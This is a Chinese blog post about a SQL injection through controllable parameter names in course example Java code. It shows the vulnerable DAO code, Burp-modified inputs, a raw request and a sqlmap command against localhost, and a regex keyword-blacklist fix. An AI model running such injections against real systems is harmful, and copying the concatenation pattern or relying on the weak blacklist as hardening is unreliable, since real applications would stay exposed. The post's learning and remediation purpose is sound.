IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 黑马javaweb353集复杂的条件查询-参数名sql注入案例 -> 正文阅读

[大数据]黑马javaweb353集复杂的条件查询-参数名sql注入案例

黑马javaweb353集复杂的条件查询-参数名sql注入案例

? 因专业原因,被迫学起了java。不过还好有舍友给我推了黑马的学习资料,每个学期都稳过。

? 在学习过程中,发现老师写的一处代码存在sql注入问题。而这个注入问题并不是常见的参数内容注入,而是因为参数名可控导致注入。

? 因此记录一下,与大家分享。

https://www.bilibili.com/video/BV1qv4y1o79t?p=354

在353集中,老师演示了一个复杂的条件查询案例。

大致功能如下:(根据姓名,或籍贯、邮箱进行查询)

image-20210918100349974

实现分析

  1. 需要判断用户是否输入了姓名、籍贯等
  2. 如果不存在则直接执行原sql语句
  3. 如果存在则拼接sql语句(例:and name like ‘%test%’)

复杂条件分页查询

代码分析

list.jsp

将name等数据利用form表单发送到findUserByPageServlet

image-20210918101510340

findUserByPageServlet.java

将参数名和参数存入一个map集合中,发送到一个实现类UserServiceImpl的findUserByPage方法中

image-20210918102612093

UserServiceImpl.java

将map集合传入一个数据库操作实现类中(userDao)

image-20210918102911274

重点分析

UserDaoImpl.java

    public int findTotalCout(Map<String, String[]> condition) {
        String sql = "select count(*) from user where 1=1";

        StringBuilder sb = new StringBuilder(sql);
        //遍历map
        Set<String> keySets = condition.keySet();

        //定义一个参数的集合
        List<Object> params = new ArrayList<Object>();

        for (String key : keySets) {
            //排除分页条件参数
            if("currentPage".equals(key)||"rows".equals(key)){
                continue;
            }

            //获取value
            String value = condition.get(key)[0];
            //判断value是否有值
            if (value != null && !"".equals(value)){
                //有值
                sb.append(" and "+key+" like ?");
                params.add("%"+value+"%");
            }
        }

        return template.queryForObject(sb.toString(),Integer.class,params.toArray());
    }

? 大概逻辑就是,利用for循环遍历map集合,然后将键名存入key中,如果key存在且参数值存在,则将key带入sql语句中拼接。

拼接语句:

select count(*) from user where 1=1 and name like '%?%';

而value做了预处理,不存在sql注入。

但是key没有做预处理,我们可以通过控制参数名拼接sql语句,所以出现sql注入。

image-20210918103352787

尝试利用漏洞

输入一些值进行查询

image-20210918104008589

利用burp抓包,正常查询

image-20210918104448277

当我通过burp修改参数名为**1 'and name **时,发现报错,看到了sql语句。因为tomcat本身原因,遇到特殊字符会修改成html编码传输到后台进行处理。

image-20210918104730791

而将参数名改成1 and name 又访问正常,说明存在注入。

且后台语句为:

select count(*) from user where 1=1 and 1 and name like "%text%"

查询时出现了聚合函数,且tomcat不允许带有特殊字符这个限制。所以照成不了显注,但是可以形成时间注入及报错注入。

image-20210918104942295

sqlmap跑一下

注意:将参数名利用*代替(表示sql会在那个地方载入payload)

POST /day17/findUserByPageServlet HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/day17/findUserByPageServlet?currentPage=1&rows=5
Cookie: JSESSIONID=84FF7F7AB1AAE9A01A9396DDC07E24CA; Idea-dab618b2=533e5dc9-f76f-4a1a-9ce3-526e903cd644
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.4
X-Originating-IP: 127.0.0.4
X-Remote-IP: 127.0.0.4
X-Remote-Addr: 127.0.0.4

*=test&address=&email=
sqlmap -r "/Users/tiger/Desktop/未命名.txt" --dbs --batch

image-20210918105534766

加固思路

如果使用预处理去加固的话,会导致查询查不出

因为预处理相当于利用问号拼接,拼接后会在字段名两旁添加类似双引号的字符,导致查询不出结果

select * from user where 1=1  and 'name' like '%t%' limit 0,5

image-20210918111654805

不用预处理

image-20210918111803615

所以需要更换思路,过滤字符串

java项目中如何防止sql注入?

  static String reg = "(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|"
            + "(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)";

    static Pattern sqlPattern = Pattern.compile(reg, Pattern.CASE_INSENSITIVE);//表示忽略大小写

	@Override
    public List<User> finByPage(int start, int rows, Map<String, String[]> condition) {


        String sql = "select * from user where 1=1 ";

        StringBuilder sb = new StringBuilder(sql);
        //遍历map
        Set<String> keySets = condition.keySet();

        //定义一个参数的集合
        List<Object> params = new ArrayList<Object>();

        for (String key : keySets) {
            //排除分页条件参数
            if("currentPage".equals(key)||"rows".equals(key)){
                continue;
            }

            //获取value
            String value = condition.get(key)[0];
            //判断value是否有值
            if (value != null && !"".equals(value)){
                //判断是否为注入
                boolean sqlValid = isSqlValid(key);
                if (!sqlValid){
                    return null;
                }

                //有值
                sb.append(" and "+key+" like ?");

                params.add("%"+value+"%");
            }
        }

        //添加分页查询
        sb.append(" limit ?,?");
        //添加分页查询参数值
        params.add(start);
        params.add(rows);

        System.out.println(sb);
        System.out.println(params);

        return template.query(sb.toString(),new BeanPropertyRowMapper<User>(User.class),params.toArray());

    }


    public static boolean isSqlValid(String str) {

        Matcher matcher = sqlPattern.matcher(str);
        if (matcher.find()) {
            System.out.println("参数存在非法字符,请确认:"+matcher.group());//获取非法字符:or
            return false;
        }
        return true;
    }

在判断value值过后,加一层判断。

将键名带入isSqlValid方法中判断,如果是注入语句,将会返回一个false,并且直接返回一个空值。

image-20210918182429730

再利用sqlmap跑,已经失败了

image-20210918183125693

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-09-19 08:02:49  更:2021-09-19 08:04:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 19:55:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码